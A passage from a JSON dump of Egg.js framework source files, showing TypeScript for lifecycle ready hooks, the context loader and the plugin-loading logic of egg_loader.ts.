start');\n    debug('loadReady start');\n    this.loadReady.start();\n    for (const boot of this.#boots) {\n      if (typeof boot.didLoad === 'function') {\n        const didLoad = boot.didLoad.bind(boot);\n        this.#registerReadyCallback({\n          scope: didLoad,\n          ready: this.loadReady,\n          timingKeyPrefix: 'Did Load',\n          scopeFullName: boot.fullPath + ':didLoad',\n        });\n      }\n    }\n  }\n\n  triggerWillReady(): void {\n    debug('trigger willReady start');\n    debug('bootReady start');\n    this.bootReady.start();\n    for (const boot of this.#boots) {\n      if (typeof boot.willReady === 'function') {\n        const willReady = boot.willReady.bind(boot);\n        this.#registerReadyCallback({\n          scope: willReady,\n          ready: this.bootReady,\n          timingKeyPrefix: 'Will Ready',\n          scopeFullName: boot.fullPath + ':willReady',\n        });\n      }\n    }\n  }\n\n  triggerDidReady(err?: Error): Promise<void> {\n    debug('trigger didReady start');\n    return (async () => {\n      for (const boot of this.#boots) {\n        if (typeof boot.didReady === 'function') {\n          debug('trigger didReady at %o', boot.fullPath);\n          try {\n            await boot.didReady(err);\n          } catch (err) {\n            debug('trigger didReady error at %o, error: %s', boot.fullPath, err);\n            this.emit('error', err);\n          }\n        }\n      }\n      debug('trigger didReady end');\n    })();\n  }\n\n  triggerServerDidReady(): Promise<void> {\n    debug('trigger serverDidReady start');\n    return (async () => {\n      for (const boot of this.#boots) {\n        if (typeof boot.serverDidReady !== 'function') {\n          continue;\n        }\n        debug('trigger serverDidReady at %o', boot.fullPath);\n        try {\n          await boot.serverDidReady();\n        } catch (err) {\n          debug('trigger serverDidReady error at %o, error: %s', boot.fullPath, err);\n          this.emit('error', err);\n        }\n      }\n      debug('trigger serverDidReady end');\n    })();\n  }\n\n  #initReady(): void {\n    debug('loadReady init');\n    this.loadReady = new Ready({ timeout: this.readyTimeout, lazyStart: true });\n    this.#delegateReadyEvent(this.loadReady);\n    this.loadReady.ready((err?: Error) => {\n      debug('loadReady end, err: %o', err);\n      debug('trigger didLoad end');\n      if (err) {\n        this.ready(err);\n      } else {\n        this.triggerWillReady();\n      }\n    });\n\n    debug('bootReady init');\n    this.bootReady = new Ready({ timeout: this.readyTimeout, lazyStart: true });\n    this.#delegateReadyEvent(this.bootReady);\n    this.bootReady.ready((err?: Error) => {\n      debug('bootReady end, err: %o', err);\n      debug('trigger willReady end');\n      this.ready(err || true);\n    });\n  }\n\n  #delegateReadyEvent(ready: Ready): void {\n    ready.once('error', (err?: Error) => ready.ready(err));\n    ready.on('ready_timeout', (id: unknown) => this.emit('ready_timeout', id));\n    ready.on('ready_stat', (data: unknown) => this.emit('ready_stat', data));\n    ready.on('error', (err?: Error) => this.emit('error', err));\n  }\n\n  #registerReadyCallback(args: { scope: Fun; ready: Ready; timingKeyPrefix: string; scopeFullName?: string }): void {\n    const { scope, ready, timingKeyPrefix, scopeFullName } = args;\n    if (typeof scope !== 'function') {\n      throw new TypeError('boot only support function');\n    }\n\n    // get filename from stack if scopeFullName is undefined\n    const name = scopeFullName || utils.getCalleeFromStack(true, 4);\n    const timingKey = `${timingKeyPrefix} in ` + utils.getResolvedFilename(name, this.app.baseDir);\n\n    this.timing.start(timingKey);\n\n    debug('[registerReadyCallback] start name: %o', name);\n    const done = ready.readyCallback(name);\n\n    // ensure scope executes after load completed\n    process.nextTick(async () => {\n      try {\n        await utils.callFn(scope);\n        debug('[registerReadyCallback] end name: %o', name);\n        done();\n        this.timing.end(timingKey);\n      } catch (e) {\n        let err = e as Error;\n        // avoid non-stringify error: TypeError: Cannot convert object to primitive value\n        if (!(err instanceof Error)) {\n          err = new Error(format('%s', err));\n        }\n        done(err);\n        this.timing.end(timingKey);\n      }\n    });\n  }\n}\n"
  },
  {
    "path": "packages/core/src/loader/context_loader.ts",
    "content": "import assert from 'node:assert';\n\nimport { isClass, isPrimitive } from 'is-type-of';\n\nimport type { Context } from '../egg.ts';\nimport { FileLoader, EXPORTS, type FileLoaderOptions } from './file_loader.ts';\n\nconst CLASS_LOADER = Symbol('classLoader');\n\nexport interface ClassLoaderOptions {\n  ctx: Context;\n  properties: any;\n}\n\nexport class ClassLoader {\n  readonly _cache: Map<string, any> = new Map();\n  _ctx: Context;\n\n  constructor(options: ClassLoaderOptions) {\n    assert(options.ctx, 'options.ctx is required');\n    const properties = options.properties;\n    this._ctx = options.ctx;\n\n    for (const property in properties) {\n      this.#defineProperty(property, properties[property]);\n    }\n  }\n\n  #defineProperty(property: string, values: any): void {\n    Object.defineProperty(this, property, {\n      get() {\n        let instance: any = this._cache.get(property);\n        if (!instance) {\n          instance = getInstance(values, this._ctx);\n          this._cache.set(property, instance);\n        }\n        return instance;\n      },\n    });\n  }\n}\n\nexport interface ContextLoaderOptions extends Omit<FileLoaderOptions, 'target'> {\n  /** required inject */\n  inject: Record<string, any>;\n  /** property name defined to target */\n  property: string | symbol;\n  /** determine the field name of inject object. */\n  fieldClass?: string;\n}\n\n/**\n * Same as {@link FileLoader}, but it will attach file to `inject[fieldClass]`.\n * The exports will be lazy loaded, such as `ctx.group.repository`.\n * @augments FileLoader\n * @since 1.0.0\n */\nexport class ContextLoader extends FileLoader {\n  readonly #inject: Record<string, any>;\n  /**\n   * @class\n   * @param {Object} options - options same as {@link FileLoader}\n   * @param {String} options.fieldClass - determine the field name of inject object.\n   */\n  constructor(options: ContextLoaderOptions) {\n    assert(options.property, 'options.property is required');\n    assert(options.inject, 'options.inject is required');\n    const target = {};\n    if (options.fieldClass) {\n      options.inject[options.fieldClass] = target;\n    }\n    super({\n      ...options,\n      target,\n    });\n    this.#inject = this.options.inject as Record<string, any>;\n\n    const app = this.#inject;\n    const property = options.property;\n    // define ctx.service\n    Object.defineProperty(app.context, property, {\n      get() {\n        // oxlint-disable-next-line unicorn/no-this-assignment, typescript/no-this-alias\n        const ctx = this;\n        // distinguish property cache,\n        // cache's lifecycle is the same with this context instance\n        // e.x. ctx.service1 and ctx.service2 have different cache\n        if (!ctx[CLASS_LOADER]) {\n          ctx[CLASS_LOADER] = new Map();\n        }\n        const classLoader: Map<string | symbol, ClassLoader> = ctx[CLASS_LOADER];\n        let instance = classLoader.get(property);\n        if (!instance) {\n          instance = getInstance(target, ctx);\n          classLoader.set(property, instance as ClassLoader);\n        }\n        return instance;\n      },\n    });\n  }\n}\n\nfunction getInstance(values: any, ctx: Context): any {\n  // it's a directory when it has no exports\n  // then use ClassLoader\n  const Class = values[EXPORTS] ? values : null;\n  let instance;\n  if (Class) {\n    if (isClass(Class)) {\n      instance = new Class(ctx);\n    } else {\n      // it's just an object\n      instance = Class;\n    }\n    // Can't set property to primitive, so check again\n    // e.x. module.exports = 1;\n  } else if (isPrimitive(values)) {\n    instance = values;\n  } else {\n    instance = new ClassLoader({ ctx, properties: values });\n  }\n  return instance;\n}\n"
  },
  {
    "path": "packages/core/src/loader/egg_loader.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { debuglog, inspect } from 'node:util';\n\nimport { extend } from '@eggjs/extend2';\nimport { Request, Response, Application, Context as KoaContext } from '@eggjs/koa';\nimport { pathMatching, type PathMatchingOptions } from '@eggjs/path-matching';\nimport { isESM, isSupportTypeScript } from '@eggjs/utils';\nimport type { Logger } from 'egg-logger';\nimport { isAsyncFunction, isClass, isGeneratorFunction, isObject, isPromise } from 'is-type-of';\nimport { homedir } from 'node-homedir';\nimport { now, diff } from 'performance-ms';\nimport { register as tsconfigPathsRegister } from 'tsconfig-paths';\nimport { getParamNames, readJSONSync, readJSON, exists } from 'utility';\n\nimport type { BaseContextClass } from '../base_context_class.ts';\nimport type { Context, EggCore, MiddlewareFunc } from '../egg.ts';\nimport type { Lifecycle } from '../lifecycle.ts';\nimport type { EggAppConfig, EggAppInfo, EggPluginInfo } from '../types.ts';\nimport utils, { type Fun } from '../utils/index.ts';\nimport { sequencify } from '../utils/sequencify.ts';\nimport { Timing } from '../utils/timing.ts';\nimport { type ContextLoaderOptions, ContextLoader } from './context_loader.ts';\nimport { type FileLoaderOptions, CaseStyle, FULLPATH, FileLoader } from './file_loader.ts';\n\nconst debug = debuglog('egg/core/loader/egg_loader');\n\nconst originalPrototypes: Record<string, unknown> = {\n  request: Request.prototype,\n  response: Response.prototype,\n  context: KoaContext.prototype,\n  application: Application.prototype,\n};\n\nexport interface EggLoaderOptions {\n  /** server env */\n  env: string;\n  /** Application instance */\n  app: EggCore;\n  EggCoreClass?: typeof EggCore;\n  /** the directory of application */\n  baseDir: string;\n  /** egg logger */\n  logger: Logger;\n  /** server scope */\n  serverScope?: string;\n  /** custom plugins */\n  plugins?: Record<string, EggPluginInfo>;\n}\n\nexport type EggDirInfoType = 'app' | 'plugin' | 'framework';\n\nexport interface EggDirInfo {\n  path: string;\n  type: EggDirInfoType;\n}\n\nexport class EggLoader {\n  #requiredCount = 0;\n  readonly options: EggLoaderOptions;\n  readonly timing: Timing;\n  readonly pkg: Record<string, any>;\n  readonly eggPaths: string[];\n  readonly serverEnv: string;\n  readonly serverScope: string;\n  readonly appInfo: EggAppInfo;\n  readonly outDir?: string;\n  dirs?: EggDirInfo[];\n\n  /**\n   * @class\n   * @param {Object} options - options\n   * @param {String} options.baseDir - the directory of application\n   * @param {EggCore} options.app - Application instance\n   * @param {Logger} options.logger - logger\n   * @param {Object} [options.plugins] - custom plugins\n   * @since 1.0.0\n   */\n  constructor(options: EggLoaderOptions) {\n    this.options = options;\n    assert(fs.existsSync(this.options.baseDir), `${this.options.baseDir} not exists`);\n    assert(this.options.app, 'options.app is required');\n    assert(this.options.logger, 'options.logger is required');\n\n    this.timing = this.app.timing || new Timing();\n\n    /**\n     * @member {Object} EggLoader#pkg\n     * @see {@link AppInfo#pkg}\n     * @since 1.0.0\n     */\n    this.pkg = readJSONSync(path.join(this.options.baseDir, 'package.json'));\n    this.outDir = this.#resolveOutDir();\n\n    // auto require('tsconfig-paths/register') on typescript app\n    // support env.EGG_TYPESCRIPT = true or { \"egg\": { \"typescript\": true } } on package.json\n    if (process.env.EGG_TYPESCRIPT === 'true' || (this.pkg.egg && this.pkg.egg.typescript)) {\n      // skip require tsconfig-paths if tsconfig.json not exists\n      const tsConfigFile = path.join(this.options.baseDir, 'tsconfig.json');\n      if (fs.existsSync(tsConfigFile)) {\n        // @ts-expect-error only cwd is required\n        tsconfigPathsRegister({ cwd: this.options.baseDir });\n      } else {\n        this.logger.info(\n          '[@eggjs/core/egg_loader] skip register \"tsconfig-paths\" because tsconfig.json not exists at %s',\n          tsConfigFile,\n        );\n      }\n    }\n\n    debug('-------------------- type: %s --------------------', this.app.type);\n\n    /**\n     * All framework directories.\n     *\n     * You can extend Application of egg, the entry point is options.app,\n     *\n     * loader will find all directories from the prototype of Application,\n     * you should define `Symbol.for('egg#eggPath')` property.\n     *\n     * ```ts\n     * // src/example.ts\n     * import { Application } from 'egg';\n     * class ExampleApplication extends Application {\n     *   get [Symbol.for('egg#eggPath')]() {\n     *     return baseDir;\n     *   }\n     * }\n     * ```\n     * @member {Array} EggLoader#eggPaths\n     * @see EggLoader#getEggPaths\n     * @since 1.0.0\n     */\n    this.eggPaths = this.getEggPaths();\n    debug('Loaded eggPaths %j', this.eggPaths);\n\n    /**\n     * @member {String} EggLoader#serverEnv\n     * @see AppInfo#env\n     * @since 1.0.0\n     */\n    this.serverEnv = this.getServerEnv();\n    debug('Loaded serverEnv %j', this.serverEnv);\n\n    /**\n     * @member {String} EggLoader#serverScope\n     * @see AppInfo#serverScope\n     */\n    this.serverScope = options.serverScope ?? this.getServerScope();\n\n    /**\n     * @member {AppInfo} EggLoader#appInfo\n     * @since 1.0.0\n     */\n    this.appInfo = this.getAppInfo();\n  }\n\n  get app(): EggCore {\n    return this.options.app;\n  }\n\n  get lifecycle(): Lifecycle {\n    return this.app.lifecycle;\n  }\n\n  get logger(): Logger {\n    return this.options.logger;\n  }\n\n  /**\n   * Get {@link AppInfo#env}\n   * @returns {String} env\n   * @see AppInfo#env\n   * @private\n   * @since 1.0.0\n   */\n  protected getServerEnv(): string {\n    let serverEnv = this.options.env;\n\n    const envPath = path.join(this.options.baseDir, 'config/env');\n    if (!serverEnv && fs.existsSync(envPath)) {\n      serverEnv = fs.readFileSync(envPath, 'utf8').trim();\n    }\n\n    if (!serverEnv && process.env.EGG_SERVER_ENV) {\n      serverEnv = process.env.EGG_SERVER_ENV;\n    }\n\n    if (serverEnv) {\n      serverEnv = serverEnv.trim();\n    } else {\n      // oxlint-disable-next-line eslint/no-lonely-if\n      if (process.env.NODE_ENV === 'test') {\n        serverEnv = 'unittest';\n      } else if (process.env.NODE_ENV === 'production') {\n        serverEnv = 'prod';\n      } else {\n        serverEnv = 'local';\n      }\n    }\n\n    return serverEnv;\n  }\n\n  /**\n   * Get {@link AppInfo#scope}\n   * @returns {String} serverScope\n   * @private\n   */\n  protected getServerScope(): string {\n    return process.env.EGG_SERVER_SCOPE ?? '';\n  }\n\n  /**\n   * Get {@link AppInfo#name}\n   * @returns {String} appname\n   * @private\n   * @since 1.0.0\n   */\n  getAppname(): string {\n    if (this.pkg.name) {\n      debug('Loaded appname(%s) from package.json', this.pkg.name);\n      return this.pkg.name;\n    }\n    const pkg = path.join(this.options.baseDir, 'package.json');\n    throw new Error(`name is required from ${pkg}`);\n  }\n\n  /**\n   * Get home directory\n   * @returns {String} home directory\n   * @since 3.4.0\n   */\n  getHomedir(): string {\n    // EGG_HOME for test\n    return process.env.EGG_HOME || homedir() || '/home/admin';\n  }\n\n  /**\n   * Get app info\n   * @returns {AppInfo} appInfo\n   * @since 1.0.0\n   */\n  protected getAppInfo(): EggAppInfo {\n    const env = this.serverEnv;\n    const scope = this.serverScope;\n    const home = this.getHomedir();\n    const baseDir = this.options.baseDir;\n\n    /**\n     * Meta information of the application\n     * @class AppInfo\n     */\n    return {\n      /**\n       * The name of the application, retrieve from the name property in `package.json`.\n       * @member {String} AppInfo#name\n       */\n      name: this.getAppname(),\n\n      /**\n       * The current directory, where the application code is.\n       * @member {String} AppInfo#baseDir\n       */\n      baseDir,\n\n      /**\n       * The environment of the application, **it's not NODE_ENV**\n       *\n       * 1. from `$baseDir/config/env`\n       * 2. from EGG_SERVER_ENV\n       * 3. from NODE_ENV\n       *\n       * env | description\n       * ---       | ---\n       * test      | system integration testing\n       * prod      | production\n       * local     | local on your own computer\n       * unittest  | unit test\n       *\n       * @member {String} AppInfo#env\n       * @see https://eggjs.org/zh-cn/basics/env.html\n       */\n      env,\n\n      /**\n       * @member {String} AppInfo#scope\n       */\n      scope,\n\n      /**\n       * The use directory, same as `process.env.HOME`\n       * @member {String} AppInfo#HOME\n       */\n      HOME: home,\n\n      /**\n       * parsed from `package.json`\n       * @member {Object} AppInfo#pkg\n       */\n      pkg: this.pkg,\n\n      /**\n       * The directory whether is baseDir or HOME depend on env.\n       * it's good for test when you want to write some file to HOME,\n       * but don't want to write to the real directory,\n       * so use root to write file to baseDir instead of HOME when unittest.\n       * keep root directory in baseDir when local and unittest\n       * @member {String} AppInfo#root\n       */\n      root: env === 'local' || env === 'unittest' ? baseDir : home,\n    };\n  }\n\n  /**\n   * Get {@link EggLoader#eggPaths}\n   * @returns {Array} framework directories\n   * @see {@link EggLoader#eggPaths}\n   * @private\n   * @since 1.0.0\n   */\n  protected getEggPaths(): string[] {\n    // avoid require recursively\n    const EggCore = this.options.EggCoreClass;\n    let eggPaths: string[] = [];\n    // @ts-expect-error customEggPaths is protected\n    if (this.app.customEggPaths) {\n      // @ts-expect-error customEggPaths is protected\n      eggPaths = this.app.customEggPaths();\n    }\n\n    // try to get egg paths from old way\n    let proto = this.app;\n\n    // Loop for the prototype chain\n    while (proto) {\n      proto = Object.getPrototypeOf(proto);\n      // stop the loop if\n      // - object extends Object\n      // - object extends EggCore\n      if (proto === Object.prototype || proto === EggCore?.prototype) {\n        break;\n      }\n      let eggPath: string;\n      eggPath = Reflect.get(proto, Symbol.for('egg#eggPath')) as string;\n      if (!eggPath) {\n        // if (EggCore) {\n        //   throw new TypeError('Symbol.for(\\'egg#eggPath\\') is required on Application');\n        // }\n        continue;\n      }\n      if (this.app.deprecate) {\n        this.app.deprecate(\n          'Symbol.for(\\'egg#eggPath\\') is deprecated, please use \"override the `customEggPaths()` method\" instead',\n        );\n      }\n      assert(typeof eggPath === 'string', \"Symbol.for('egg#eggPath') should be string\");\n      assert(fs.existsSync(eggPath), `${eggPath} not exists`);\n      const realpath = fs.realpathSync(eggPath);\n      if (!eggPaths.includes(realpath)) {\n        eggPaths.unshift(realpath);\n      }\n    }\n    return eggPaths;\n  }\n\n  /** start Plugin loader */\n  lookupDirs: Set<string>;\n  eggPlugins: Record<string, EggPluginInfo>;\n  appPlugins: Record<string, EggPluginInfo>;\n  customPlugins: Record<string, EggPluginInfo>;\n  allPlugins: Record<string, EggPluginInfo>;\n  orderPlugins: EggPluginInfo[];\n  /** enable plugins */\n  plugins: Record<string, EggPluginInfo>;\n\n  /**\n   * Load config/plugin.js from {EggLoader#loadUnits}\n   *\n   * plugin.js is written below\n   *\n   * ```js\n   * {\n   *   'xxx-client': {\n   *     enable: true,\n   *     package: 'xxx-client',\n   *     dep: [],\n   *     env: [],\n   *   },\n   *   // short hand\n   *   'rds': false,\n   *   'depd': {\n   *     enable: true,\n   *     path: 'path/to/depd'\n   *   }\n   * }\n   * ```\n   *\n   * If the plugin has path, Loader will find the module from it.\n   *\n   * Otherwise Loader will lookup follow the order by packageName\n   *\n   * 1. $APP_BASE/node_modules/${package}\n   * 2. $EGG_BASE/node_modules/${package}\n   *\n   * You can call `loader.plugins` that retrieve enabled plugins.\n   *\n   * ```js\n   * loader.plugins['xxx-client'] = {\n   *   name: 'xxx-client',                 // the plugin name, it can be used in `dep`\n   *   package: 'xxx-client',              // the package name of plugin\n   *   enable: true,                       // whether enabled\n   *   path: 'path/to/xxx-client',         // the directory of the plugin package\n   *   dep: [],                            // the dependent plugins, you can use the plugin name\n   *   env: [ 'local', 'unittest' ],       // specify the serverEnv that only enable the plugin in it\n   * }\n   * ```\n   *\n   * `loader.allPlugins` can be used when retrieve all plugins.\n   * @function EggLoader#loadPlugin\n   * @since 1.0.0\n   */\n  async loadPlugin(): Promise<void> {\n    this.timing.start('Load Plugin');\n\n    this.lookupDirs = this.getLookupDirs();\n    this.allPlugins = {};\n    this.eggPlugins = await this.loadEggPlugins();\n    this.appPlugins = await this.loadAppPlugins();\n    this.customPlugins = this.loadCustomPlugins();\n\n    this.#extendPlugins(this.allPlugins, this.eggPlugins);\n    this.#extendPlugins(this.allPlugins, this.appPlugins);\n    this.#extendPlugins(this.allPlugins, this.customPlugins);\n\n    const enabledPluginNames: string[] = []; // enabled plugins that configured explicitly\n    const plugins: Record<string, EggPluginInfo> = {};\n    const env = this.serverEnv;\n    for (const name in this.allPlugins) {\n      const plugin = this.allPlugins[name];\n\n      // resolve the real plugin.path based on plugin or package\n      plugin.path = this.getPluginPath(plugin);\n\n      // read plugin information from ${plugin.path}/package.json\n      if (!plugin.skipMerge) {\n        await this.#mergePluginConfig(plugin);\n      }\n\n      // disable the plugin that not match the serverEnv\n      if (env && plugin.env.length > 0 && !plugin.env.includes(env)) {\n        this.logger.info(\n          '[egg/core] Plugin %o is disabled by env unmatched, require env(%o) but got env is %o',\n          name,\n          plugin.env,\n          env,\n        );\n        plugin.enable = false;\n        continue;\n      }\n\n      plugins[name] = plugin;\n      if (plugin.enable) {\n        enabledPluginNames.push(name);\n      }\n    }\n\n    // retrieve the ordered plugins\n    this.orderPlugins = this.getOrderPlugins(plugins, enabledPluginNames, this.appPlugins);\n\n    const enablePlugins: Record<string, EggPluginInfo> = {};\n    for (const plugin of this.orderPlugins) {\n      enablePlugins[plugin.name] = plugin;\n    }\n    debug('Loaded enable plugins: %j', Object.keys(enablePlugins));\n\n    /**\n     * Retrieve enabled plugins\n     * @member {Object} EggLoader#plugins\n     * @since 1.0.0\n     */\n    this.plugins = enablePlugins;\n    this.timing.end('Load Plugin');\n  }\n\n  protected async loadAppPlugins(): Promise<Record<string, EggPluginInfo>> {\n    // loader plugins from application\n    const appPlugins = await this.readPluginConfigs(path.join(this.options.baseDir, 'config/plugin.default'));\n    debug(\n      'Loaded app plugins: %j',\n      Object.keys(appPlugins).map((k) => `${k}:${appPlugins[k].enable}`),\n    );\n    return appPlugins;\n  }\n\n  protected async loadEggPlugins(): Promise<Record<string, EggPluginInfo>> {\n    // loader plugins from framework\n    const eggPluginConfigPaths = this.eggPaths.map((eggPath) => path.join(eggPath, 'config/plugin.default'));\n    const eggPlugins = await this.readPluginConfigs(eggPluginConfigPaths);\n    debug(\n      'Loaded egg plugins: %j',\n      Object.keys(eggPlugins).map((k) => `${k}:${eggPlugins[k].enable}`),\n    );\n    return eggPlugins;\n  }\n\n  protected loadCustomPlugins(): Record<string, EggPluginInfo> {\n    // loader plugins from process.env.EGG_PLUGINS\n    let customPlugins: Record<string, EggPluginInfo> = {};\n    const configPaths: string[] = [];\n    if (process.env.EGG_PLUGINS) {\n      try {\n        customPlugins = JSON.parse(process.env.EGG_PLUGINS);\n        configPaths.push('<process.env.EGG_PLUGINS>');\n      } catch (e) {\n        debug('parse EGG_PLUGINS failed, %s', e);\n      }\n    }\n\n    // loader plugins from options.plugins\n    if (this.options.plugins) {\n      customPlugins = {\n        ...customPlugins,\n        ...this.options.plugins,\n      };\n      configPaths.push('<options.plugins>');\n    }\n\n    if (customPlugins) {\n      const configPath = configPaths.join(' or ');\n      for (const name in customPlugins) {\n        this.#normalizePluginConfig(customPlugins, name, configPath);\n      }\n      debug('Loaded custom plugins: %o', customPlugins);\n    }\n    return customPlugins;\n  }\n\n  /*\n   * Read plugin.js from multiple directory\n   */\n  protected async readPluginConfigs(configPaths: string[] | string): Promise<Record<string, EggPluginInfo>> {\n    if (!Array.isArray(configPaths)) {\n      configPaths = [configPaths];\n    }\n\n    // Get all plugin configurations\n    // plugin.default.js\n    // plugin.${scope}.js\n    // plugin.${env}.js\n    // plugin.${scope}_${env}.js\n    const newConfigPaths: string[] = [];\n    for (const filename of this.getTypeFiles('plugin')) {\n      for (let configPath of configPaths) {\n        configPath = path.join(path.dirname(configPath), filename);\n        newConfigPaths.push(configPath);\n      }\n    }\n\n    const plugins: Record<string, EggPluginInfo> = {};\n    for (const configPath of newConfigPaths) {\n      let filepath = this.resolveModule(configPath);\n\n      // let plugin.js compatible\n      if (configPath.endsWith('plugin.default') && !filepath) {\n        filepath = this.resolveModule(configPath.replace(/plugin\\.default$/, 'plugin'));\n      }\n\n      if (!filepath) {\n        debug('[readPluginConfigs:ignore] plugin config not found %o', configPath);\n        continue;\n      }\n\n      const config: Record<string, EggPluginInfo> = await utils.loadFile(filepath);\n      for (const name in config) {\n        this.#normalizePluginConfig(config, name, filepath);\n      }\n      this.#extendPlugins(plugins, config);\n    }\n\n    return plugins;\n  }\n\n  #normalizePluginConfig(plugins: Record<string, EggPluginInfo | boolean>, name: string, configPath: string): void {\n    const plugin = plugins[name];\n\n    // plugin_name: false\n    if (typeof plugin === 'boolean') {\n      plugins[name] = {\n        name,\n        enable: plugin,\n        dependencies: [],\n        optionalDependencies: [],\n        env: [],\n        from: configPath,\n      } satisfies EggPluginInfo;\n      return;\n    }\n\n    if (!('enable' in plugin)) {\n      Reflect.set(plugin, 'enable', true);\n    }\n    plugin.name = name;\n    plugin.dependencies = plugin.dependencies || [];\n    plugin.optionalDependencies = plugin.optionalDependencies || [];\n    plugin.env = plugin.env || [];\n    plugin.from = plugin.from || configPath;\n    depCompatible(plugin);\n  }\n\n  // Read plugin information from package.json and merge\n  // {\n  //   eggPlugin: {\n  //     \"name\": \"\",     plugin name, must be same as name in config/plugin.js\n  //     \"dep\": [],      dependent plugins\n  //     \"env\": \"\"       env\n  //     \"strict\": true, whether check plugin name, default to true.\n  //   }\n  // }\n  async #mergePluginConfig(plugin: EggPluginInfo): Promise<void> {\n    let pkg: any;\n    let eggPluginConfig: any;\n    const pluginPackage = path.join(plugin.path as string, 'package.json');\n    if (await utils.existsPath(pluginPackage)) {\n      pkg = await readJSON(pluginPackage);\n      eggPluginConfig = pkg.eggPlugin;\n      if (pkg.version) {\n        plugin.version = pkg.version;\n      }\n      // support commonjs and esm dist files\n      plugin.path = await this.#formatPluginPathFromPackageJSON(plugin.path as string, pkg);\n    }\n\n    if (!eggPluginConfig) {\n      // eggPlugin in package.json is no longer required since plugins\n      // now use definePluginFactory() to declare their config\n      return;\n    }\n\n    const logger = this.options.logger;\n    if (eggPluginConfig.name && eggPluginConfig.strict !== false && eggPluginConfig.name !== plugin.name) {\n      // pluginName is configured in config/plugin.js\n      // pluginConfigName is pkg.eggPlugin.name\n      logger.warn(\n        `[@eggjs/core/egg_loader] pluginName(${plugin.name}) is different from pluginConfigName(${eggPluginConfig.name})`,\n      );\n    }\n\n    // dep compatible\n    depCompatible(eggPluginConfig);\n\n    for (const key of ['dependencies', 'optionalDependencies', 'env']) {\n      const values = eggPluginConfig[key];\n      const existsValues = Reflect.get(plugin, key);\n      if (Array.isArray(values) && !existsValues?.length) {\n        Reflect.set(plugin, key, values);\n      }\n    }\n  }\n\n  protected getOrderPlugins(\n    allPlugins: Record<string, EggPluginInfo>,\n    enabledPluginNames: string[],\n    appPlugins: Record<string, EggPluginInfo>,\n  ): EggPluginInfo[] {\n    // no plugins enabled\n    if (enabledPluginNames.length === 0) {\n      return [];\n    }\n\n    const result = sequencify(allPlugins, enabledPluginNames);\n    debug('Got plugins %j after sequencify', result);\n\n    // catch error when result.sequence is empty\n    if (result.sequence.length === 0) {\n      const err = new Error(\n        `sequencify plugins has problem, missing: [${result.missingTasks}], recursive: [${result.recursiveDependencies}]`,\n      );\n      // find plugins which is required by the missing plugin\n      for (const missName of result.missingTasks) {\n        const requires = [];\n        for (const name in allPlugins) {\n          if (allPlugins[name].dependencies.includes(missName)) {\n            requires.push(name);\n          }\n        }\n        err.message += `\\n\\t>> Plugin [${missName}] is disabled or missed, but is required by [${requires}]`;\n      }\n\n      err.name = 'PluginSequencifyError';\n      throw err;\n    }\n\n    // log the plugins that be enabled implicitly\n    const implicitEnabledPlugins: string[] = [];\n    const requireMap: Record<string, string[]> = {};\n    for (const name of result.sequence) {\n      for (const depName of allPlugins[name].dependencies) {\n        if (!requireMap[depName]) {\n          requireMap[depName] = [];\n        }\n        requireMap[depName].push(name);\n      }\n\n      if (!allPlugins[name].enable) {\n        implicitEnabledPlugins.push(name);\n        allPlugins[name].enable = true;\n        allPlugins[name].implicitEnable = true;\n      }\n    }\n\n    for (const [name, dependents] of Object.entries(requireMap)) {\n      // note:`dependents` will not includes `optionalDependencies`\n      allPlugins[name].dependents = dependents;\n    }\n\n    // Following plugins will be enabled implicitly.\n    //   - configclient required by [rpcClient]\n    //   - monitor required by [rpcClient]\n    //   - diamond required by [rpcClient]\n    if (implicitEnabledPlugins.length > 0) {\n      let message = implicitEnabledPlugins.map((name) => `  - ${name} required by [${requireMap[name]}]`).join('\\n');\n      this.options.logger.info(`Following plugins will be enabled implicitly.\\n${message}`);\n\n      // should warn when the plugin is disabled by app\n      const disabledPlugins = implicitEnabledPlugins.filter(\n        (name) => appPlugins[name] && appPlugins[name].enable === false,\n      );\n      if (disabledPlugins.length > 0) {\n        message = disabledPlugins.map((name) => `  - ${name} required by [${requireMap[name]}]`).join('\\n');\n        this.options.logger.warn(\n          `Following plugins will be enabled implicitly that is disabled by application.\\n${message}`,\n        );\n      }\n    }\n\n    return result.sequence.map((name) => allPlugins[name]);\n  }\n\n  protected getLookupDirs(): Set<string> {\n    const lookupDirs = new Set<string>();\n\n    // try to locate the plugin in the following directories's node_modules\n    // -> {APP_PATH} -> {EGG_PATH} -> $CWD\n    lookupDirs.add(this.options.baseDir);\n\n    // try to locate the plugin at framework from upper to lower\n    for (let i = this.eggPaths.length - 1; i >= 0; i--) {\n      const eggPath = this.eggPaths[i];\n      lookupDirs.add(eggPath);\n    }\n\n    // should find the $cwd when test the plugins under npm3\n    lookupDirs.add(process.cwd());\n    return lookupDirs;\n  }\n\n  // Get the real plugin path\n  protected getPluginPath(plugin: EggPluginInfo): string {\n    if (plugin.path) {\n      return plugin.path;\n    }\n\n    if (plugin.package) {\n      assert(\n        isValidatePackageName(plugin.package),\n        `plugin ${plugin.name} invalid, use 'path' instead of package: \"${plugin.package}\"`,\n      );\n    }\n    return this.#resolvePluginPath(plugin);\n  }\n\n  #resolvePluginPath(plugin: EggPluginInfo): string {\n    const name = plugin.package || plugin.name;\n    try {\n      // should find the plugin directory\n      // pnpm will lift the node_modules to the sibling directory\n      // 'node_modules/.pnpm/yadan@2.0.0/node_modules/yadan/node_modules',\n      // 'node_modules/.pnpm/yadan@2.0.0/node_modules',  <- this is the sibling directory\n      // 'node_modules/.pnpm/egg@2.33.1/node_modules/egg/node_modules',\n      // 'node_modules/.pnpm/egg@2.33.1/node_modules', <- this is the sibling directory\n      const pluginPkgFile = utils.resolvePath(`${name}/package.json`, {\n        paths: [...this.lookupDirs],\n      });\n      return path.dirname(pluginPkgFile);\n    } catch (err) {\n      debug('[resolvePluginPath] error: %o, plugin info: %o', err, plugin);\n      throw new Error(`Can not find plugin ${name} in \"${[...this.lookupDirs].join(', ')}\"`, {\n        cause: err,\n      });\n    }\n  }\n\n  async #formatPluginPathFromPackageJSON(\n    pluginPath: string,\n    pluginPkg: {\n      eggPlugin?: {\n        exports?: {\n          import?: string;\n          require?: string;\n          typescript?: string;\n        };\n      };\n      type?: 'module' | 'commonjs';\n      exports?: {\n        '.'?:\n          | string\n          | {\n              import?:\n                | string\n                | {\n                    default?: string;\n                  };\n            };\n      };\n    },\n  ): Promise<string> {\n    let realPluginPath = pluginPath;\n    const exports = pluginPkg.eggPlugin?.exports;\n    if (exports) {\n      if (isESM) {\n        if (exports.import) {\n          realPluginPath = 